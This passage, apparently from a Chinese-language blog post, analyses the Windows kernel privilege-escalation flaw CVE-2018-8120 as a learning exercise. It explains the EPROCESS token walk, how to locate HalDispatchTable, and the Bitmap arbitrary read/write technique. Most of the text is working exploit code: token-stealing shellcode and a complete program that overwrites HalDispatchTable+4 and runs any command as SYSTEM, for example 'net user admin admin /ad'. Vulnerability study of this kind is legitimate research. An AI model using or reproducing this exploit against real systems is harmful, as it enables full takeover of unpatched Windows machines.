註意到沒,EPROCESS的第一個成員不就是_KPROCESS嗎?所以_KTHREAD.ApcState.Process其實指向的是EPROCESS,取它地址的值就是_KPROCESS的指針。
所以我們獲取當前進程EPROCESS的彙編代碼可以寫成:
mov edx, 0x124;
mov eax, fs:[edx];// Get nt!_KPCR.PcrbData.CurrentThread
mov edx, 0x50;
mov eax, [eax + edx];// Get nt!_KTHREAD.ApcState.Process
mov ecx, eax;// Copy current _EPROCESS structure
你可能又要問了,你怎麼曉得該這樣做?答案是:你可以去反彙編一下這個函數就曉得了:
lkd> u nt!PsGetCurrentProcess
nt!PsGetCurrentProcess:
83ecdb60 64a124010000 mov eax,dword ptr fs:[00000124h]
83ecdb66 8b4050 mov eax,dword ptr [eax+50h]
83ecdb69 c3 ret
調用這個函數可以得到當前進程的EPROCESS結構。
好了,現在我們已經獲得了我們自身進程的EPROCESS結構了,但是我們第一步需要做的是 獲得System進程的EPROCESS啊。獲得自己的EPROCESS有啥子用呢?不用急,請看EPROCESS的ActiveProcessLinks成員,它是一個_LIST_ENTRY結構。讓我們展開看看
lkd> dt _EPROCESS -r1
ntdll!_EPROCESS
+0x000 Pcb : _KPROCESS
.....
+0x0b8 ActiveProcessLinks : _LIST_ENTRY
+0x000 Flink : Ptr32 _LIST_ENTRY //指向前一個進程的EPROCESS.ActiveProcessLinks.Flink
+0x004 Blink : Ptr32 _LIST_ENTRY //指向後一個進程的EPROCESS.ActiveProcessLinks.Flink
+0x0c0 ProcessQuotaUsage : [2] Uint4B
在windows系統中,每創建一個進程系統內核就會為其創建一個EPROCESS,然後使EPROCESS.ActiveProcessLinks.Flink=上一個創建的進程的EPROCESS.ActiveProcessLinks.Flink的地址,而上一個創建進程的EPROCESS.ActiveProcessLinks.Blink=新創建進程的EPROCESS.ActiveProcessLinks.Flink的地址,構成了一個雙向鏈表。所以找到一個就可以通過Flink和Blink遍歷整個進程EPROCESS了,又由於System進程是最先創建的進程之一。所以它必然在當前進程(我們編寫的這個程式進程)之前,所以就一直迴圈訪問Flink就行了。又因為EPROCESS的UniqueProcessId成員指向的是該EPROCESS所屬進程的PID。所以我們就可以迴圈遍歷EPROCESS,判斷其PID是否為4.若是就找到了System進程的EPROCESS結構了。
既然找到了System進程的EPRCESS了,那麼第二步:獲取它的Token值還不是輕而易舉。下麵貼出完整shellcode
__declspec(noinline) int shellcode()
{
__asm {
pushad;// save registers state
mov edx, 0x124;
mov eax, fs:[edx];// Get nt!_KPCR.PcrbData.CurrentThread
mov edx, 0x50;
mov eax, [eax + edx];// Get nt!_KTHREAD.ApcState.Process
mov ecx, eax;// Copy current _EPROCESS structure
mov esi, 0xf8;// Token在EPROCESS的偏移為0xf8
mov edx, 4;// WIN 7 SP1 SYSTEM Process PID = 0x4
mov edi, 0xb8;//Flink在EPROCESS的偏移為0xb8
mov ebx, 0xb4;//UniqueProcessId在EPROCESS的偏移為0xb4
SearchSystemPID:
mov eax, [eax + edi];// Get nt!_EPROCESS.ActiveProcessLinks.Flink
sub eax, edi;// 執行之後,eax 為EPROCESS的地址
cmp[eax + ebx], edx;// Get nt!_EPROCESS.UniqueProcessId
jne SearchSystemPID;
mov edx, [eax + esi];// Get SYSTEM process nt!_EPROCESS.Token
mov[ecx + esi], edx;// Copy nt!_EPROCESS.Token of SYSTEM to current process
popad;// restore registers state
xor eax, eax;// Set NTSTATUS SUCCEESS
}
}
6.3、找到HalDispatchTable的地址
因為我們要使我們的shellcode在R0執行,通過在2.2.2中分析的,我們需要得到nt!HalDispatchTable+0x4的值。那麼我們只需要得到HalDispatchTable地址,然後加4就行了。
要在R3得到內核中得到HalDispatchTable的位置,我們可以使用'NtQuerySystemInformation'函數。此函數可幫助用戶進程查詢內核以獲取有關OS和硬體狀態的信息。 這個函數沒有導入庫,我們必須使用'GetModuleHandle'和'GetProcAddress'在'ntdll.dll'的記憶體範圍內動態載入'NtQuerySystemInformation'函數。
代碼如下:
#include <stdio.h>
#include <Windows.h>
#define MAXIMUM_FILENAME_LENGTH 255
typedef struct SYSTEM_MODULE {
ULONG Reserved1;
ULONG Reserved2;
PVOID ImageBaseAddress;
ULONG ImageSize;
ULONG Flags;
WORD Id;
WORD Rank;
WORD w018;
WORD NameOffset;
BYTE Name[MAXIMUM_FILENAME_LENGTH];
}SYSTEM_MODULE, *PSYSTEM_MODULE;
typedef struct SYSTEM_MODULE_INFORMATION {
ULONG ModulesCount;
SYSTEM_MODULE Modules[1];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
typedef enum _SYSTEM_INFORMATION_CLASS {
SystemModuleInformation = 11,
} SYSTEM_INFORMATION_CLASS;
typedef NTSTATUS(WINAPI *PNtQuerySystemInformation)(
__in SYSTEM_INFORMATION_CLASS SystemInformationClass,
__inout PVOID SystemInformation,
__in ULONG SystemInformationLength,
__out_opt PULONG ReturnLength
);
int main()
{
ULONG len = 0;
PSYSTEM_MODULE_INFORMATION pModuleInfo;
HMODULE ntdll = GetModuleHandle("ntdll");
PNtQuerySystemInformation query = (PNtQuerySystemInformation)GetProcAddress(ntdll, "NtQuerySystemInformation");
//先獲取函數返回 "模塊信息" 數據得大小存在len中
query(SystemModuleInformation, NULL, 0, &len);
//分配len長度的緩衝區
pModuleInfo = (PSYSTEM_MODULE_INFORMATION)GlobalAlloc(GMEM_ZEROINIT, len);
//這下才真正來獲取"模塊信息"存到 剛剛申請的緩存中
query(SystemModuleInformation, pModuleInfo, len, &len);
//"模塊信息"的第一項必為nt內核文件,獲取它在內核中的基址
PVOID kernelImageBase = pModuleInfo->Modules[0].ImageBaseAddress;
//獲取nt內核文件名
PCHAR kernelImage = (PCHAR)pModuleInfo->Modules[0].Name;
kernelImage = strrchr(kernelImage, '\\') + 1;
wprintf(L"[+] Kernel Image name %S\n", kernelImage);
wprintf(L"[+] Kernel Image Base %p\n", kernelImageBase);
//獲取nt內核文件在用戶空間下中基址
HMODULE KernelHandle = LoadLibraryA(kernelImage);
wprintf(L"[+] Kernel Handle %p\n", KernelHandle);
//獲取"HalDispatchTable"在用戶空間中的地址
PVOID HALUserLand = (PVOID)GetProcAddress(KernelHandle, "HalDispatchTable");
wprintf(L"[+] HalDispatchTable userland %p\n", HALUserLand);
PVOID HalDispatchTable = (PVOID)((ULONG)HALUserLand - (ULONG)KernelHandle + (ULONG)kernelImageBase);
wprintf(L"[~] HalDispatchTable Kernel %p\n", HalDispatchTable);
system("pause");
return 0;
}
為啥要獲取nt內核文件的名字呢?
答:因為NT內核文件的名字會因為單處理器和多處理器以及不同位數的操作系統版本以及是否支持PAE(Physical Address Extension)而不同。所以需要編程獲取。
為啥會是HalDispatchTable = HALUserLand - KernelHandle + kernelImageBase?
答:HalDispatchTable在內核中真正的地址需要使用載入模塊的基地址+HalDispatchTable在該模塊中的偏移來獲取的。我們通過
NtQuerySystemInformation
獲取了nt模塊的基址kernelimageBase。通過計算用戶空間中HalDispatchTable的地址-用戶空間中nt模塊的地址可以獲得偏移。
6.4、構造兩個Bitmap對象
雖然我們已經得到了nt!HalDispatchTable+0x4
的值,我們可以先把它指向記憶體的值先保存起來,然後再改它指向記憶體的值為我們那段shellcode的值,然後再在R3調用NtQueryIntervalProfile
函數就可以使我們的shellcode運行在R0了(2.2.2節),成功實現提權,然後再把保存起來的那個值再改回去就行了。
但是,我們如何在R3來獲取nt!HalDispatchTable+0x4
所指向記憶體的值,又如何改nt!HalDispatchTable+0x4
所指向記憶體的值呢?在 5節中我介紹瞭如何利用 Bitmap GDI函數實現內核任意地址讀/寫 。假如我們可以修改pvScan0 的值(下麵的6.5將會講解如何修改),我們構造兩個Bitmap對象:gManger和gWorker。
具體步驟:
- 我們利用CVE-2018-8120將Manger.pScan的值設置為gWorker.pScan的地址
- gManger利用SetBitmapBits將gWorker.pScan的值改為HalDisptchTable+4
- gWorker利用GetBitmapBits獲取HalDispatchTable+4所指記憶體的值獲取得,假設為oriaddr。
- gWorker利用SetBitmapBits將HalDispatchTable+4所指記憶體的值設置為shellcode的地址
- 調用
NtQuerySystemInformation
執行shellcode - gWorker利用SetBitmapBits將HalDispatchTable+4所指記憶體的值設置為oriaddr。進行還原。
下麵介紹如何利用SetImeInfoEx(CVE-2018-8120)來改gManger的pvScan0 的值。
6.5、如何使SetImeInfoEx執行到qmemcpy
先貼出SetImeInfoEx的代碼吧:
0 signed int __stdcall SetImeInfoEx(tagWINDOWSTATION* a1, tagIMEINFOEX *a2)
1 {
2 signed int result; // eax
3 tagKL *v3; // eax
4 tagIMEINFOEX *v4; // eax
5
6 result = a1;
7 if ( a1 )
8 {
9 v3 = a1->spkList;
10 while ( v3->hkl != a2->hkl )
11 {
12 v3 = v3->pklNext;
13 if ( v3 == a1->spkList )
14 return 0;
15 }
16 v4 = v3->piiex;
17 if ( !v4 )
18 return 0;
19 if ( !v4->fLoadFlag)
20 qmemcpy(v4, a2, 0x15Cu); //sizeof(tagIMEINFOEX)=0x15c
21 result = 1;
22 }
23 return result;
24}
現在我們有的條件是,a1->spkList為0,而我們已經在0處申請了R3可讀可寫的記憶體,v3和v4都是 我們可以控制的,而a2是NtUserSetImeInfoEx(tagIMEINFOEX imeinfo)
,嘿嘿又是我們可以控制的。
那麼首先我們要跳過while迴圈,那就讓v3->hkl 等於 a2->hkl,然後需要指定v3->piiex等於gManger.pvScan0 的地址,也就是指定qmemcpy目的地址。
然後讓a2指向記憶體的頭4個位元組的值為gWorker.pvScan0的地址。那麼執行qmemcpy之後,就可以把gManger.pvScan0的值改為gWorker.pvScan0的地址了。
還要註意的是,qmemcpy拷貝了0x15c個位元組,勢必會影響gManger.pvScan0 之後的記憶體,後面調用Gdi32 的 GetBitmapBits/SetBitmapBits 這兩個函數就會不成功,有幾個值是我們必須要在傳給NtUserSetImeInfoEx的參數中要構造的imeinfo中填上的,這幾個值我抄的網上的文章的。
下麵給出構造代碼:
PVOID mpv = getpvscan0(gManger);//獲得gManger.pvScan0的地址
PVOID wpv = getpvscan0(gWorker);//獲得gWorker.pvScan0的地址
P_tagKL pkl = NULL;
pkl->hkl = (HKL__ *)wpv;
pkl->piiex = (tagIMEINFOEX *)((char*)mpv - sizeof(PVOID));//這裡-4,也就是說,下麵的p[1]也要為wpv
char ime[0x200];
RtlSecureZeroMemory(&ime, 0x200);
PVOID *p = (PVOID*)&ime;
p[0] = (PVOID)wpv;
p[1] = (PVOID)wpv;
DWORD *pp = (DWORD*)&p[2];
pp[0] = 0x180;
pp[1] = 0xabcd;
pp[2] = 6;
pp[3] = 0x10000;
pp[5] = 0x4800200;
NtUserSetImeInfoEx((PVOID)&ime);//觸發漏洞
6.6、 完整利用代碼:
//windows 7 sp1 x86 no patch
#include<Windows.h>
#include<stdio.h>
#define MAXIMUM_FILENAME_LENGTH 255
typedef struct SYSTEM_MODULE {
ULONG Reserved1;
ULONG Reserved2;
PVOID ImageBaseAddress;
ULONG ImageSize;
ULONG Flags;
WORD Id;
WORD Rank;
WORD w018;
WORD NameOffset;
BYTE Name[MAXIMUM_FILENAME_LENGTH];
}SYSTEM_MODULE, *PSYSTEM_MODULE;
typedef struct SYSTEM_MODULE_INFORMATION {
ULONG ModulesCount;
SYSTEM_MODULE Modules[1];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
typedef enum _SYSTEM_INFORMATION_CLASS {
SystemModuleInformation = 11,
} SYSTEM_INFORMATION_CLASS;
typedef NTSTATUS(WINAPI *PNtQuerySystemInformation)(
__in SYSTEM_INFORMATION_CLASS SystemInformationClass,
__inout PVOID SystemInformation,
__in ULONG SystemInformationLength,
__out_opt PULONG ReturnLength
);
struct tagIMEINFO32
{
unsigned int dwPrivateDataSize;
unsigned int fdwProperty;
unsigned int fdwConversionCaps;
unsigned int fdwSentenceCaps;
unsigned int fdwUICaps;
unsigned int fdwSCSCaps;
unsigned int fdwSelectCaps;
};
typedef struct tagIMEINFOEX
{
HKL__ *hkl;
tagIMEINFO32 ImeInfo;
wchar_t wszUIClass[16];
unsigned int fdwInitConvMode;
int fInitOpen;
int fLoadFlag;
unsigned int dwProdVersion;
unsigned int dwImeWinVersion;
wchar_t wszImeDescription[50];
wchar_t wszImeFile[80];
__int32 fSysWow64Only : 1;
__int32 fCUASLayer : 1;
}IMEINFOEX, *PIMEINFOEX;
struct GDICELL {
PVOID pKernelAddress;
USHORT wProcessId;
USHORT wCount;
USHORT wUpper;
USHORT wType;
LPVOID pUserAddress;
}; //sizeof=0x10
struct _HEAD
{
void *h;
unsigned int cLockObj;
};
struct tagKBDFILE
{
_HEAD head;
tagKBDFILE *pkfNext;
void *hBase;
void *pKbdTbl;
unsigned int Size;
void *pKbdNlsTbl;
wchar_t awchDllName[32];
};
typedef struct _tagKL
{
_HEAD head;
_tagKL *pklNext;
_tagKL *pklPrev;
unsigned int dwKL_Flags;
HKL__ *hkl;
tagKBDFILE *spkf;
tagKBDFILE *spkfPrimary;
unsigned int dwFontSigs;
unsigned int iBaseCharset;
unsigned __int16 CodePage;
wchar_t wchDiacritic;
tagIMEINFOEX *piiex;
unsigned int uNumTbl;
tagKBDFILE **pspkfExtra;
unsigned int dwLastKbdType;
unsigned int dwLastKbdSubType;
unsigned int dwKLID;
}tagKL, *P_tagKL;
typedef BOOL(WINAPI *LPFN_GLPI)(
PSYSTEM_LOGICAL_PROCESSOR_INFORMATION,
PDWORD);
typedef NTSTATUS(WINAPI *NtQueryIntervalProfile_t)(IN ULONG ProfileSource,
OUT PULONG Interval);
NtQueryIntervalProfile_t NtQueryIntervalProfile;
typedef
NTSYSAPI
NTSTATUS
(NTAPI *_NtAllocateVirtualMemory)(
IN HANDLE ProcessHandle,
IN OUT PVOID *BaseAddress,
IN ULONG ZeroBits,
IN OUT PULONG RegionSize,
IN ULONG AllocationType,
IN ULONG Protect);
__declspec(naked) void NtUserSetImeInfoEx(PVOID imeinfo)
{
_asm
{
mov esi, imeinfo;
mov eax, 0x1226;
mov edx, 0x7FFE0300;
call dword ptr[edx];
ret 4;
}
}
PVOID getHalDispatchTableAddress()
{
ULONG len = 0;
PSYSTEM_MODULE_INFORMATION pModuleInfo;
HMODULE ntdll = GetModuleHandle(L"ntdll");
PNtQuerySystemInformation query = (PNtQuerySystemInformation)GetProcAddress(ntdll, "NtQuerySystemInformation");
if (query == NULL) {
printf("[!] GetModuleHandle Failed\n");
return 0;
}
query(SystemModuleInformation, NULL, 0, &len);
pModuleInfo = (PSYSTEM_MODULE_INFORMATION)GlobalAlloc(GMEM_ZEROINIT, len);
if (pModuleInfo == NULL) {
printf("[!] Failed to allocate memory\n");
return 0;
}
query(SystemModuleInformation, pModuleInfo, len, &len);
if (!len) {
printf("[!] Failed to retrieve system module information\n");
return 0;
}
PVOID kernelImageBase = pModuleInfo->Modules[0].ImageBaseAddress;
PCHAR kernelImage = (PCHAR)pModuleInfo->Modules[0].Name;
kernelImage = strrchr(kernelImage, '\\') + 1;
HMODULE KernelHandle = LoadLibraryA(kernelImage);
PVOID HALUserLand = (PVOID)GetProcAddress(KernelHandle, "HalDispatchTable");
PVOID HalDispatchTable = (PVOID)((ULONG)HALUserLand - (ULONG)KernelHandle + (ULONG)kernelImageBase);
return HalDispatchTable;
}
ULONG getpeb()
{
return __readfsdword(0x30);
}
ULONG getgdi()
{
return *(ULONG *)(getpeb() + 0x94);
}
PVOID getpvscan0(HANDLE h)
{
ULONG p = getgdi() + LOWORD(h) * sizeof(GDICELL); //get bimap kernel object address
GDICELL *c = (GDICELL*)p;
return (char*)c->pKernelAddress + 0x10 + 0x20;
}
__declspec(noinline) int shellcode()
{
__asm {
pushad;// save registers state
mov edx, 0x124;
mov eax, fs:[edx];// Get nt!_KPCR.PcrbData.CurrentThread
mov edx, 0x50;
mov eax, [eax + edx];// Get nt!_KTHREAD.ApcState.Process
mov ecx, eax;// Copy current _EPROCESS structure
mov esi, 0xf8;
mov edx, 4;// WIN 7 SP1 SYSTEM Process PID = 0x4
mov edi, 0xb8;
mov ebx, 0xb4;
SearchSystemPID:
mov eax, [eax + edi];// Get nt!_EPROCESS.ActiveProcessLinks.Flink
sub eax, edi;
cmp[eax + ebx], edx;// Get nt!_EPROCESS.UniqueProcessId
jne SearchSystemPID;
mov edx, [eax + esi];// Get SYSTEM process nt!_EPROCESS.Token
mov[ecx + esi], edx;// Copy nt!_EPROCESS.Token of SYSTEM to current process
popad;// restore registers state
xor eax, eax;// Set NTSTATUS SUCCEESS
}
}
int main()
{
int argc = 0;
wchar_t **argv = CommandLineToArgvW(GetCommandLineW(), &argc);
if (argc != 2)
{
puts("Usage: exp.exe command\nExample: exp.exe \"net user admin admin /ad\"");
goto end;
}
PVOID overwrite_address = getHalDispatchTableAddress(); // HalDispatchTable
if (!overwrite_address)
{
goto end;
}
int overwrite_offset = 0x4; // QueryIntervalProfile
HMODULE hntdll = GetModuleHandle(L"ntdll");
_NtAllocateVirtualMemory NtAllocateVirtualMemory = (_NtAllocateVirtualMemory)GetProcAddress(hntdll, "NtAllocateVirtualMemory");
if (!NtAllocateVirtualMemory)
{
printf("[-] Fail to resolve NtAllocateVirtualMemory(0x%X)\n", GetLastError());
goto end;
}
PVOID addr = (PVOID)0x100;
DWORD size = 0x1000;
if (NtAllocateVirtualMemory(GetCurrentProcess(), &addr, 0, &size, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE))
{
puts("[-] Fail to alloc null page!");
goto end;
}
HWINSTA hSta = CreateWindowStation(0, 0, READ_CONTROL, 0);
if (!hSta)
{
printf("[-] CreateWindowStationW fail(0x%X)\n", GetLastError());
goto end;
}
if (!SetProcessWindowStation(hSta))
{
printf("[-] SetProcessWindowStation fail(0x%X)\n", GetLastError());
goto end;
}
unsigned int bbuf[0x60] = { 0x90 };
HANDLE gManger = CreateBitmap(0x60, 1, 1, 32, bbuf);
HANDLE gWorker = CreateBitmap(0x60, 1, 1, 32, bbuf);
PVOID mpv = getpvscan0(gManger);
PVOID wpv = getpvscan0(gWorker);
printf("[+] Get manager at %lx,worker at %lx\n", mpv, wpv);
P_tagKL pkl = NULL;
pkl->hkl = (HKL__ *)wpv;
pkl->piiex = (tagIMEINFOEX *)((char*)mpv - sizeof(PVOID));
char ime[0x200];
RtlSecureZeroMemory(&ime, 0x200);
PVOID *p = (PVOID*)&ime;
p[0] = (PVOID)wpv;
p[1] = (PVOID)wpv;
DWORD *pp = (DWORD*)&p[2];
pp[0] = 0x180;
pp[1] = 0xabcd;
pp[2] = 6;
pp[3] = 0x10000;
pp[5] = 0x4800200;
puts("[+] Triggering vulnerability...");
NtUserSetImeInfoEx((PVOID)&ime);
PVOID sc = &shellcode;
PVOID oaddr = ((char*)overwrite_address + overwrite_offset);
PVOID pOrg = 0;
printf("[+] Overwriting...%lx\n", oaddr);
SetBitmapBits((HBITMAP)gManger, sizeof(PVOID), &oaddr);
GetBitmapBits((HBITMAP)gWorker, sizeof(PVOID), &pOrg);
SetBitmapBits((HBITMAP)gWorker, sizeof(PVOID), &sc);
NtQueryIntervalProfile = (NtQueryIntervalProfile_t)GetProcAddress(hntdll, "NtQueryIntervalProfile");
if (!NtQueryIntervalProfile) {
printf("[-] Fail to resolve NtQueryIntervalProfile(0x%X)\n", GetLastError());
goto end;
}
ULONG Interval = 0;
puts("[+] Elevating privilege...");
NtQueryIntervalProfile(0x1337, &Interval);
puts("[+] Cleaning up...");
SetBitmapBits((HBITMAP)gWorker, sizeof(PVOID), &pOrg);
SECURITY_ATTRIBUTES sa;
HANDLE hRead, hWrite;
byte buf[40960] = { 0 };
STARTUPINFOW si;
PROCESS_INFORMATION pi;
DWORD bytesRead;
RtlSecureZeroMemory(&si, sizeof(si));
RtlSecureZeroMemory(&pi, sizeof(pi));
RtlSecureZeroMemory(&sa, sizeof(sa));
int br = 0;
sa.nLength = sizeof(SECURITY_ATTRIBUTES);
sa.lpSecurityDescriptor = NULL;
sa.bInheritHandle = TRUE;
if (!CreatePipe(&hRead, &hWrite, &sa, 0))
{
fflush(stdout);
fflush(stderr);
ExitProcess(5);
}
si.cb = sizeof(STARTUPINFO);
GetStartupInfoW(&si);
si.hStdError = hWrite;
si.hStdOutput = hWrite;
si.wShowWindow = SW_HIDE;
si.lpDesktop = L"WinSta0\\Default";
si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
wchar_t cmd[4096] = { 0 };
lstrcpyW(cmd, argv[1]);
if (!CreateProcessW(NULL, cmd, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi))
{
fflush(stdout);
fflush(stderr);
CloseHandle(hWrite);
CloseHandle(hRead);
wprintf(L"[-] CreateProcessW failed![%p]\n", GetLastError());
ExitProcess(6);
}
CloseHandle(hWrite);
printf("[+] Process created with pid %d!\n", pi.dwProcessId);
while (1)
{
if (!ReadFile(hRead, buf + br, 4000, &bytesRead, NULL))
break;
br += bytesRead;
}
puts((char*)buf);
CloseHandle(hRead);
CloseHandle(pi.hProcess);
end:
fflush(stdout);
fflush(stderr);
fflush(stdout);
ExitProcess(0);
return 0;
}
附上運行截圖:
至此,整個分析完畢,這是我第一次分析CVE,因為是才接觸,所以肯定有很多不懂,於是我就把這些不懂詳細的寫了出來。感覺自己收穫挺多的。整個分析包括提權利用代碼都是看的網上前輩門的分析文章,這篇文章只是我學習過程中分析的。
7、參考文獻
[1]: https://github.com/unamer/CVE-2018-8120/blob/master/CVE-2018-8120/Source.cpp "CVE利用代碼"
[2]: http://www.freebuf.com/column/173797.html "CVE-2018-8120分析(很詳細)"
[3]: http://www.freebuf.com/column/174182.html "CVE-2018-8120分析(詳細)"
[4]: http://blog.nsfocus.net/null-pointer-vulnerability-defense/ "空指針利用詳解"
[5]: https://xiaodaozhi.com/exploit/42.html "內含BITMAP泄露詳細分析"
[6]: https://blog.csdn.net/baggiowangyu/article/details/41802229 "使用windbg查看SSDT,SSDTShadow"
[7]: https://osandamalith.com/2017/06/14/windows-kernel-exploitation-arbitrary-overwrite/ "內含尋找HalDispatchTable的方法"
[8]: http://www.cnblogs.com/findumars/p/5812173.html "NtQuerySystemInformation的使用"
[9]: https://blog.csdn.net/whatday/article/details/16118703 "ring0下的 fs:[124]"
[10]: https://www.cnblogs.com/kuangke/p/5761586.html "Shadow SSDT詳解"
[11]: 神書《軟體調試》-張銀奎
[12]: 《Windows核心編程第五版》